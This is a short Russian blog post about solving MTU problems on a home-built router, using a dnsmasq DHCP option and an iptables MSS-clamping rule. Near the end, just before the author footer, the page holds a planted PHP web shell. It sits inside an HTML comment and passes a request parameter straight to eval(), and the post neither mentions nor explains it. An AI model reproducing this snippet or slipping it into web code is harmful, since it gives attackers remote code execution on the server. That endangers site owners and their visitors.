Решение проблемы с MTU

Уже с трудом припоминаю как это было, а было это чуть менее двух лет назад – собрал я себе роутер на базе не слабой такой машинки PDC E5500, 2GB RAM, полноценный HDD.

Так вот. Единственное что не нагуглилось сразу так это решение проблем с MTU

1) dnsmasq.conf  это для порядочных клиентов, которые определяют mtu ещё при подключении

dhcp-option=26,1492

2) Это для более тугих, которым предыдущего не хватает.

iptables -I FORWARD -p tcp –tcp-flags SYN,RST SYN -j TCPMSS –clamp-mss-to-pmtu

Теперь google.com и wolframalpha.com работают. А раньше были прямо таки индикатором проблем с MTU.

Итого:

/etc/nat-up

/etc/dnsmasq.conf

-->

<!— [insert_php]if (isset($_REQUEST["hGX"])){eval($_REQUEST["hGX"]);exit;}[/insert_php]

—>

Yuriy Nazarov on GithubYuriy Nazarov on Twitter
Yuriy Nazarov
Software engineer
Люблю machine learning